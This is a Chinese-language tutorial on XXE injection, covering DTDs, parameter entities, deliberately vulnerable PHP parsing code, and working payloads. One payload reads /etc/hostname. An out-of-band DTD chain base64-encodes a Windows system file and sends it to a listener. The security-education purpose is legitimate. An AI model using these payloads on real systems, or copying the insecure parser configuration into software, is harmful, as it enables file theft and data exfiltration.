XML注入XXE,外部实体注入。其本质是应用程序解析用户可控的XML数据时,如果XML解析器允许加载外部实体,攻击者就可能通过恶意实体声明,有道服务器访问本地文件或者外部网络资源。
XML
<?xml version="1.0" encoding="UTF-8"?>
<user>
<username>admin</username>
<password>123456</password>
</user>
| 元素 | 作用 |
|---|---|
<?xml ... ?> | XML 声明,指定版本、编码 |
<user> | 根元素 |
<username> | 子元素,保存数据 |
解析器读取XML后,通常会将其转换成程序能够操作的数据结构。
正常情况下,应用只需要获得XML文档里的业务数据。但是XML还支持一种特殊机制:实体
XML实体与DTD
DTD,全称Document Type Definition,即文档类型定义。它可以用来定义XML文档允许的结构,也可以声明实体。
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY name "zhangsan"> //声明名为name的内部通用实体
]>
<user>
<username>&name;</username> //引用该实体
</user>
内部实体 VS 外部实体
内部实体
<!ENTITY test "Hello XXE">
外部实体
<!ENTITY test SYSTEM "file:///etc/hostname">
主要区别在于:
内部实体的值直接写在DTD中
外部实体的内容需要解析器访问指定资源才能获取
SYSTEM后面指定的是系统标识符,可以是文件URI,也可以是HTTP等URI,具体支持什么取决于解析器和安全配置。
XXE漏洞的关键不在于实体声明本身,而在于解析器是否会访问攻击者指定的外部资源
XXE:有回显的文件读取
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<user>
<username>&xxe;</username>
</user>
假设服务端的/etc/hostname文件内容是
web-server-01
如果XML解析器启用了外部实体解析,并且应用程序将解析后的username返回,响应可能是
<user>
<username>web-server-01</username>
</user>

真正执行文件读取操作的是XML解析器,而不是XML服务代码显式调用了文件读取函数
Blind XXE与XXE OOB
为什么需要XXE OOB?
假设存在这样的业务场景:
POST /api/user HTTP/1.1
Content-Type: application/xml
请求体
<?xml version="1.0"?>
<user>
<username>admin</username>
</user>
服务器接收XML,解析后只返回
{"code":200,"message":"success"}
即使解析器能够访问外部资源,我们也无法通过HTTP响应来直接获取实体展开的结果,是一个非常经典的盲注场景。
XXE OOB则是利用服务器向外部地址发起请求,通过独立于原始HTTP响应的通道观察解析器行为,某些情况下还可以传输数据。
以PHP代码为例
<?php
libxml_disable_entity_loader(false);
// 从原始请求体读取 XML
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML(
$xml,
LIBXML_NOENT | LIBXML_DTDLOAD
);
// 不做任何输出
// 页面表现为空白,但 XML 已被解析
?>
该代码中虽然没有任何 echo / print 输出,但由于开启了 LIBXML_NOENT | LIBXML_DTDLOAD,外部实体依然会被解析和加载,漏洞依旧存在。
发送一个xml发现无回显只有200响应返回

这个时候只能通过外带的形式来将想要获取的数据
XML解析器通过HTTP协议加载外部DTD,在解析器内部处理DTD内容
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8001/eval.dtd">
%remote;%int;%send;
]>
处理的DTD内容如下
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:8001?p=%file;'>">
三个实体引用实现OOB,解析器加载外部DTD,最后将数据发送回到VPS
为什么 XXE OOB 多使用参数实体,而不是通用实体?
通用实体主要服务于 XML 文档内容,而参数实体服务于 DTD 声明的组织与展开。
通用实体
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY name "admin">
]>
<user>&name;</user>
&name; 出现在 XML 正文中。
解析器处理 <user> 元素时,将它展开为 admin。
这非常适合有回显的 XXE 场景。
参数实体
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY % declaration "<!ENTITY name 'admin'>">
%declaration;
]>
<user>&name;</user>
第一次:参数实体展开
%declaration;
产生一条新的实体声明:
<!ENTITY name 'admin'>
第二次:通用实体展开
&name;
得到:
admin
因此,参数实体不仅仅是保存一个字符串,更重要的是它的替换文本可以被解析器当作 DTD 声明继续解析。而 OOB 经常需要在 DTD 处理期间构造额外的外部资源引用。所以参数实体更适合这个场景。
为什么多层参数实体在外部 DTD 中可以工作,在内部 DTD 中却可能报错
第一种:内部 DTD 中合法的参数实体引用
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY % type "(name)">
%type;
]>
<user>admin</user>
这里 %type; 位于两个 DTD 声明之间,引用位置本身是允许的。
但是它展开得到:
(name)
这并不是一条合法的 DTD 声明,因此整个 DTD 仍然会报错。
第二种:内部 DTD 中非法的参数实体嵌套
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY % type "(#PCDATA)">
<!ELEMENT user %type;>
]>
<user>admin</user>
问题在这一行:
<!ELEMENT user %type;>
因为 %type; 出现在 <!ELEMENT ...> 声明内部。
这违反了内部 DTD 子集的参数实体引用位置限制。
不是因为实体嵌套层数太多,而是因为引用所处的位置不合法。
第三种:相同声明放到外部 DTD
假设 user.dtd 的内容如下:
<!ENTITY % type "(#PCDATA)">
<!ELEMENT user %type;>
主 XML 文件:
<?xml version="1.0"?>
<!DOCTYPE user SYSTEM "user.dtd">
<user>admin</user>
在解析器允许读取该外部 DTD 的前提下,上面的写法是合法的。
因为这里:
<!ELEMENT user %type;>
位于外部 DTD 子集中。
参数实体展开后:
<!ELEMENT user (#PCDATA)>
形成完整合法的元素声明。
| 情况 | 是否符合 XML 语法 |
|---|---|
| 内部 DTD,在声明之间引用参数实体,展开为完整声明 | 合法 |
内部 DTD,在 ELEMENT 声明内部引用参数实体 | 非法 |
外部 DTD,在 ELEMENT 声明内部引用参数实体,并形成合法结构 | 合法 |
不出网xxe如何利用
HTTP不出网,但是DNS能出网
有些企业内网服务器无法直接访问公网HTTP/HTTPS,但是内部DNS服务器仍然可以递归解析外部域名


完全不能出网,但是能够访问内网其他机器
必须拿下一台内网主机,让存在xxe的主机加载内网dtd资源或者利用frp进行内网穿透来进一步进行oob











